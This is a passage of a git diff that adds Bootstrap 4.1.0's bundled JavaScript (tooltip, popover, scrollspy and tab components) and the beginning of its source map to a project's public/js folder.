context._hoverState = HoverState.SHOW; + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.SHOW; + + if (!context.config.delay || !context.config.delay.show) { + context.show(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.SHOW) { + context.show(); + } + }, context.config.delay.show); + }; + + _proto._leave = function _leave(event, context) { + var dataKey = this.constructor.DATA_KEY; + context = context || $$$1(event.currentTarget).data(dataKey); + + if (!context) { + context = new this.constructor(event.currentTarget, this._getDelegateConfig()); + $$$1(event.currentTarget).data(dataKey, context); + } + + if (event) { + context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false; + } + + if (context._isWithActiveTrigger()) { + return; + } + + clearTimeout(context._timeout); + context._hoverState = HoverState.OUT; + + if (!context.config.delay || !context.config.delay.hide) { + context.hide(); + return; + } + + context._timeout = setTimeout(function () { + if (context._hoverState === HoverState.OUT) { + context.hide(); + } + }, context.config.delay.hide); + }; + + _proto._isWithActiveTrigger = function _isWithActiveTrigger() { + for (var trigger in this._activeTrigger) { + if (this._activeTrigger[trigger]) { + return true; + } + } + + return false; + }; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, this.constructor.Default, $$$1(this.element).data(), config); + + if (typeof config.delay === 'number') { + config.delay = { + show: config.delay, + hide: config.delay + }; + } + + if (typeof config.title === 'number') { + config.title = config.title.toString(); + } + + if (typeof config.content === 'number') { + config.content = config.content.toString(); + } + + Util.typeCheckConfig(NAME, config, this.constructor.DefaultType); + return config; + }; + + _proto._getDelegateConfig = function _getDelegateConfig() { + var config = {}; + + if (this.config) { + for (var key in this.config) { + if (this.constructor.Default[key] !== this.config[key]) { + config[key] = this.config[key]; + } + } + } + + return config; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $$$1(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX); + + if (tabClass !== null && tabClass.length > 0) { + $tip.removeClass(tabClass.join('')); + } + }; + + _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(data) { + this._cleanTipClass(); + + this.addAttachmentClass(this._getAttachment(data.placement)); + }; + + _proto._fixTransition = function _fixTransition() { + var tip = this.getTipElement(); + var initConfigAnimation = this.config.animation; + + if (tip.getAttribute('x-placement') !== null) { + return; + } + + $$$1(tip).removeClass(ClassName.FADE); + this.config.animation = false; + this.hide(); + this.show(); + this.config.animation = initConfigAnimation; + }; // Static + + + Tooltip._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' && config; + + if (!data && /dispose|hide/.test(config)) { + return; + } + + if (!data) { + data = new Tooltip(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Tooltip, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "NAME", + get: function get() { + return NAME; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY; + } + }, { + key: "Event", + get: function get() { + return Event; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Tooltip; + }(); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $$$1.fn[NAME] = Tooltip._jQueryInterface; + $$$1.fn[NAME].Constructor = Tooltip; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Tooltip._jQueryInterface; + }; + + return Tooltip; + }($, Popper); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): popover.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Popover = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'popover'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.popover'; + var EVENT_KEY = "." + DATA_KEY; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var CLASS_PREFIX = 'bs-popover'; + var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g'); + + var Default = _objectSpread({}, Tooltip.Default, { + placement: 'right', + trigger: 'click', + content: '', + template: '<div class="popover" role="tooltip">' + '<div class="arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div></div>' + }); + + var DefaultType = _objectSpread({}, Tooltip.DefaultType, { + content: '(string|element|function)' + }); + + var ClassName = { + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + TITLE: '.popover-header', + CONTENT: '.popover-body' + }; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + INSERTED: "inserted" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + FOCUSIN: "focusin" + EVENT_KEY, + FOCUSOUT: "focusout" + EVENT_KEY, + MOUSEENTER: "mouseenter" + EVENT_KEY, + MOUSELEAVE: "mouseleave" + EVENT_KEY + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Popover = + /*#__PURE__*/ + function (_Tooltip) { + _inheritsLoose(Popover, _Tooltip); + + function Popover() { + return _Tooltip.apply(this, arguments) || this; + } + + var _proto = Popover.prototype; + + // Overrides + _proto.isWithContent = function isWithContent() { + return this.getTitle() || this._getContent(); + }; + + _proto.addAttachmentClass = function addAttachmentClass(attachment) { + $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment); + }; + + _proto.getTipElement = function getTipElement() { + this.tip = this.tip || $$$1(this.config.template)[0]; + return this.tip; + }; + + _proto.setContent = function setContent() { + var $tip = $$$1(this.getTipElement()); // We use append for html objects to maintain js events + + this.setElementContent($tip.find(Selector.TITLE), this.getTitle()); + + var content = this._getContent(); + + if (typeof content === 'function') { + content = content.call(this.element); + } + + this.setElementContent($tip.find(Selector.CONTENT), content); + $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW); + }; // Private + + + _proto._getContent = function _getContent() { + return this.element.getAttribute('data-content') || this.config.content; + }; + + _proto._cleanTipClass = function _cleanTipClass() { + var $tip = $$$1(this.getTipElement()); + var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX); + + if (tabClass !== null && tabClass.length > 0) { + $tip.removeClass(tabClass.join('')); + } + }; // Static + + + Popover._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' ? config : null; + + if (!data && /destroy|hide/.test(config)) { + return; + } + + if (!data) { + data = new Popover(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Popover, null, [{ + key: "VERSION", + // Getters + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }, { + key: "NAME", + get: function get() { + return NAME; + } + }, { + key: "DATA_KEY", + get: function get() { + return DATA_KEY; + } + }, { + key: "Event", + get: function get() { + return Event; + } + }, { + key: "EVENT_KEY", + get: function get() { + return EVENT_KEY; + } + }, { + key: "DefaultType", + get: function get() { + return DefaultType; + } + }]); + + return Popover; + }(Tooltip); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + + $$$1.fn[NAME] = Popover._jQueryInterface; + $$$1.fn[NAME].Constructor = Popover; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Popover._jQueryInterface; + }; + + return Popover; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): scrollspy.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var ScrollSpy = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'scrollspy'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.scrollspy'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Default = { + offset: 10, + method: 'auto', + target: '' + }; + var DefaultType = { + offset: 'number', + method: 'string', + target: '(string|element)' + }; + var Event = { + ACTIVATE: "activate" + EVENT_KEY, + SCROLL: "scroll" + EVENT_KEY, + LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DROPDOWN_ITEM: 'dropdown-item', + DROPDOWN_MENU: 'dropdown-menu', + ACTIVE: 'active' + }; + var Selector = { + DATA_SPY: '[data-spy="scroll"]', + ACTIVE: '.active', + NAV_LIST_GROUP: '.nav, .list-group', + NAV_LINKS: '.nav-link', + NAV_ITEMS: '.nav-item', + LIST_ITEMS: '.list-group-item', + DROPDOWN: '.dropdown', + DROPDOWN_ITEMS: '.dropdown-item', + DROPDOWN_TOGGLE: '.dropdown-toggle' + }; + var OffsetMethod = { + OFFSET: 'offset', + POSITION: 'position' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var ScrollSpy = + /*#__PURE__*/ + function () { + function ScrollSpy(element, config) { + var _this = this; + + this._element = element; + this._scrollElement = element.tagName === 'BODY' ? window : element; + this._config = this._getConfig(config); + this._selector = this._config.target + " " + Selector.NAV_LINKS + "," + (this._config.target + " " + Selector.LIST_ITEMS + ",") + (this._config.target + " " + Selector.DROPDOWN_ITEMS); + this._offsets = []; + this._targets = []; + this._activeTarget = null; + this._scrollHeight = 0; + $$$1(this._scrollElement).on(Event.SCROLL, function (event) { + return _this._process(event); + }); + this.refresh(); + + this._process(); + } // Getters + + + var _proto = ScrollSpy.prototype; + + // Public + _proto.refresh = function refresh() { + var _this2 = this; + + var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION; + var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method; + var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0; + this._offsets = []; + this._targets = []; + this._scrollHeight = this._getScrollHeight(); + var targets = $$$1.makeArray($$$1(this._selector)); + targets.map(function (element) { + var target; + var targetSelector = Util.getSelectorFromElement(element); + + if (targetSelector) { + target = $$$1(targetSelector)[0]; + } + + if (target) { + var targetBCR = target.getBoundingClientRect(); + + if (targetBCR.width || targetBCR.height) { + // TODO (fat): remove sketch reliance on jQuery position/offset + return [$$$1(target)[offsetMethod]().top + offsetBase, targetSelector]; + } + } + + return null; + }).filter(function (item) { + return item; + }).sort(function (a, b) { + return a[0] - b[0]; + }).forEach(function (item) { + _this2._offsets.push(item[0]); + + _this2._targets.push(item[1]); + }); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(this._scrollElement).off(EVENT_KEY); + this._element = null; + this._scrollElement = null; + this._config = null; + this._selector = null; + this._offsets = null; + this._targets = null; + this._activeTarget = null; + this._scrollHeight = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + + if (typeof config.target !== 'string') { + var id = $$$1(config.target).attr('id'); + + if (!id) { + id = Util.getUID(NAME); + $$$1(config.target).attr('id', id); + } + + config.target = "#" + id; + } + + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._getScrollTop = function _getScrollTop() { + return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop; + }; + + _proto._getScrollHeight = function _getScrollHeight() { + return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight); + }; + + _proto._getOffsetHeight = function _getOffsetHeight() { + return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height; + }; + + _proto._process = function _process() { + var scrollTop = this._getScrollTop() + this._config.offset; + + var scrollHeight = this._getScrollHeight(); + + var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight(); + + if (this._scrollHeight !== scrollHeight) { + this.refresh(); + } + + if (scrollTop >= maxScroll) { + var target = this._targets[this._targets.length - 1]; + + if (this._activeTarget !== target) { + this._activate(target); + } + + return; + } + + if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) { + this._activeTarget = null; + + this._clear(); + + return; + } + + for (var i = this._offsets.length; i--;) { + var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]); + + if (isActiveTarget) { + this._activate(this._targets[i]); + } + } + }; + + _proto._activate = function _activate(target) { + this._activeTarget = target; + + this._clear(); + + var queries = this._selector.split(','); // eslint-disable-next-line arrow-body-style + + + queries = queries.map(function (selector) { + return selector + "[data-target=\"" + target + "\"]," + (selector + "[href=\"" + target + "\"]"); + }); + var $link = $$$1(queries.join(',')); + + if ($link.hasClass(ClassName.DROPDOWN_ITEM)) { + $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE); + $link.addClass(ClassName.ACTIVE); + } else { + // Set triggered link as active + $link.addClass(ClassName.ACTIVE); // Set triggered links parents as active + // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor + + $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + ", " + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE); // Handle special case when .nav-link is inside .nav-item + + $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE); + } + + $$$1(this._scrollElement).trigger(Event.ACTIVATE, { + relatedTarget: target + }); + }; + + _proto._clear = function _clear() { + $$$1(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE); + }; // Static + + + ScrollSpy._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' && config; + + if (!data) { + data = new ScrollSpy(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(ScrollSpy, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return ScrollSpy; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(window).on(Event.LOAD_DATA_API, function () { + var scrollSpys = $$$1.makeArray($$$1(Selector.DATA_SPY)); + + for (var i = scrollSpys.length; i--;) { + var $spy = $$$1(scrollSpys[i]); + + ScrollSpy._jQueryInterface.call($spy, $spy.data()); + } + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = ScrollSpy._jQueryInterface; + $$$1.fn[NAME].Constructor = ScrollSpy; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return ScrollSpy._jQueryInterface; + }; + + return ScrollSpy; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): tab.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Tab = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'tab'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.tab'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DROPDOWN_MENU: 'dropdown-menu', + ACTIVE: 'active', + DISABLED: 'disabled', + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + DROPDOWN: '.dropdown', + NAV_LIST_GROUP: '.nav, .list-group', + ACTIVE: '.active', + ACTIVE_UL: '> li > .active', + DATA_TOGGLE: '[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]', + DROPDOWN_TOGGLE: '.dropdown-toggle', + DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Tab = + /*#__PURE__*/ + function () { + function Tab(element) { + this._element = element; + } // Getters + + + var _proto = Tab.prototype; + + // Public + _proto.show = function show() { + var _this = this; + + if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $$$1(this._element).hasClass(ClassName.ACTIVE) || $$$1(this._element).hasClass(ClassName.DISABLED)) { + return; + } + + var target; + var previous; + var listElement = $$$1(this._element).closest(Selector.NAV_LIST_GROUP)[0]; + var selector = Util.getSelectorFromElement(this._element); + + if (listElement) { + var itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE; + previous = $$$1.makeArray($$$1(listElement).find(itemSelector)); + previous = previous[previous.length - 1]; + } + + var hideEvent = $$$1.Event(Event.HIDE, { + relatedTarget: this._element + }); + var showEvent = $$$1.Event(Event.SHOW, { + relatedTarget: previous + }); + + if (previous) { + $$$1(previous).trigger(hideEvent); + } + + $$$1(this._element).trigger(showEvent); + + if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) { + return; + } + + if (selector) { + target = $$$1(selector)[0]; + } + + this._activate(this._element, listElement); + + var complete = function complete() { + var hiddenEvent = $$$1.Event(Event.HIDDEN, { + relatedTarget: _this._element + }); + var shownEvent = $$$1.Event(Event.SHOWN, { + relatedTarget: previous + }); + $$$1(previous).trigger(hiddenEvent); + $$$1(_this._element).trigger(shownEvent); + }; + + if (target) { + this._activate(target, target.parentNode, complete); + } else { + complete(); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Private + + + _proto._activate = function _activate(element, container, callback) { + var _this2 = this; + + var activeElements; + + if (container.nodeName === 'UL') { + activeElements = $$$1(container).find(Selector.ACTIVE_UL); + } else { + activeElements = $$$1(container).children(Selector.ACTIVE); + } + + var active = activeElements[0]; + var isTransitioning = callback && active && $$$1(active).hasClass(ClassName.FADE); + + var complete = function complete() { + return _this2._transitionComplete(element, active, callback); + }; + + if (active && isTransitioning) { + var transitionDuration = Util.getTransitionDurationFromElement(active); + $$$1(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + }; + + _proto._transitionComplete = function _transitionComplete(element, active, callback) { + if (active) { + $$$1(active).removeClass(ClassName.SHOW + " " + ClassName.ACTIVE); + var dropdownChild = $$$1(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0]; + + if (dropdownChild) { + $$$1(dropdownChild).removeClass(ClassName.ACTIVE); + } + + if (active.getAttribute('role') === 'tab') { + active.setAttribute('aria-selected', false); + } + } + + $$$1(element).addClass(ClassName.ACTIVE); + + if (element.getAttribute('role') === 'tab') { + element.setAttribute('aria-selected', true); + } + + Util.reflow(element); + $$$1(element).addClass(ClassName.SHOW); + + if (element.parentNode && $$$1(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) { + var dropdownElement = $$$1(element).closest(Selector.DROPDOWN)[0]; + + if (dropdownElement) { + $$$1(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE); + } + + element.setAttribute('aria-expanded', true); + } + + if (callback) { + callback(); + } + }; // Static + + + Tab._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $this = $$$1(this); + var data = $this.data(DATA_KEY); + + if (!data) { + data = new Tab(this); + $this.data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Tab, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Tab; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + event.preventDefault(); + + Tab._jQueryInterface.call($$$1(this), 'show'); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Tab._jQueryInterface; + $$$1.fn[NAME].Constructor = Tab; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Tab._jQueryInterface; + }; + + return Tab; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.0.0): index.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + (function ($$$1) { + if (typeof $$$1 === 'undefined') { + throw new TypeError('Bootstrap\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\'s JavaScript.'); + } + + var version = $$$1.fn.jquery.split(' ')[0].split('.'); + var minMajor = 1; + var ltMajor = 2; + var minMinor = 9; + var minPatch = 1; + var maxMajor = 4; + + if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) { + throw new Error('Bootstrap\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0'); + } + })($); + + exports.Util = Util; + exports.Alert = Alert; + exports.Button = Button; + exports.Carousel = Carousel; + exports.Collapse = Collapse; + exports.Dropdown = Dropdown; + exports.Modal = Modal; + exports.Popover = Popover; + exports.Scrollspy = ScrollSpy; + exports.Tab = Tab; + exports.Tooltip = Tooltip; + + Object.defineProperty(exports, '__esModule', { value: true }); + +}))); +//# sourceMappingURL=bootstrap.bundle.js.map diff --git a/public/js/bootstrap.bundle.js.map b/public/js/bootstrap.bundle.js.map new file mode 100644 index 0000000..ca9fca3 --- /dev/null +++ b/public/js/bootstrap.bundle.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bootstrap.bundle.js","sources":["../../rollupPluginBabelHelpers","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../node_modules/popper.js/dist/esm/popper.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n if (staticProps) _defineProperties(Constructor, staticProps);\n return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n}\n\nfunction _objectSpread(target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i] != null ? arguments[i] : {};\n var ownKeys = Object.keys(source);\n\n if (typeof Object.getOwnPropertySymbols === 'function') {\n ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n }));\n }\n\n ownKeys.forEach(function (key) {\n _defineProperty(target, key, source[key]);\n });\n }\n\n return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n subClass.prototype = Object.create(superClass.prototype);\n subClass.prototype.constructor = subClass;\n subClass.__proto__ = superClass;\n}","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Private TransitionEnd Helpers\n * ------------------------------------------------------------------------\n */\n\n const TRANSITION_END = 'transitionend'\n const MAX_UID = 1000000\n const MILLISECONDS_MULTIPLIER = 1000\n\n // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n function toType(obj) {\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n }\n\n function getSpecialTransitionEndEvent() {\n return {\n bindType: TRANSITION_END,\n delegateType: TRANSITION_END,\n handle(event) {\n if ($(event.target).is(this)) {\n return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n }\n return undefined // eslint-disable-line no-undefined\n }\n }\n }\n\n function transitionEndEmulator(duration) {\n let called = false\n\n $(this).one(Util.TRANSITION_END, () => {\n called = true\n })\n\n setTimeout(() => {\n if (!called) {\n Util.triggerTransitionEnd(this)\n }\n }, duration)\n\n return this\n }\n\n function setTransitionEndSupport() {\n $.fn.emulateTransitionEnd = transitionEndEmulator\n $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n }\n\n /**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\n const Util = {\n\n TRANSITION_END: 'bsTransitionEnd',\n\n getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix))\n return prefix\n },\n\n getSelectorFromElement(element) {\n let selector = element.getAttribute('data-target')\n if (!selector || selector === '#') {\n selector = element.getAttribute('href') || ''\n }\n\n try {\n const $selector = $(document).find(selector)\n return $selector.length > 0 ? selector : null\n } catch (err) {\n return null\n }\n },\n\n getTransitionDurationFromElement(element) {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let transitionDuration = $(element).css('transition-duration')\n const floatTransitionDuration = parseFloat(transitionDuration)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n\n return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n },\n\n reflow(element) {\n return element.offsetHeight\n },\n\n triggerTransitionEnd(element) {\n $(element).trigger(TRANSITION_END)\n },\n\n // TODO: Remove in v5\n supportsTransitionEnd() {\n return Boolean(TRANSITION_END)\n },\n\n isElement(obj) {\n return (obj[0] || obj).nodeType\n },\n\n typeCheckConfig(componentName, config, configTypes) {\n for (const property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && Util.isElement(value)\n ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`)\n }\n }\n }\n }\n }\n\n setTransitionEndSupport()\n\n return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'alert'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.alert'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Selector = {\n DISMISS : '[data-dismiss=\"alert\"]'\n }\n\n const Event = {\n CLOSE : `close${EVENT_KEY}`,\n CLOSED : `closed${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n ALERT : 'alert',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Alert {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n close(element) {\n element = element || this._element\n\n const rootElement = this._getRootElement(element)\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent.isDefaultPrevented()) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _getRootElement(element) {\n const selector = Util.getSelectorFromElement(element)\n let parent = false\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n if (!parent) {\n parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n }\n\n return parent\n }\n\n _triggerCloseEvent(element) {\n const closeEvent = $.Event(Event.CLOSE)\n\n $(element).trigger(closeEvent)\n return closeEvent\n }\n\n _removeElement(element) {\n $(element).removeClass(ClassName.SHOW)\n\n if (!$(element).hasClass(ClassName.FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n $(element)\n .one(Util.TRANSITION_END, (event) => 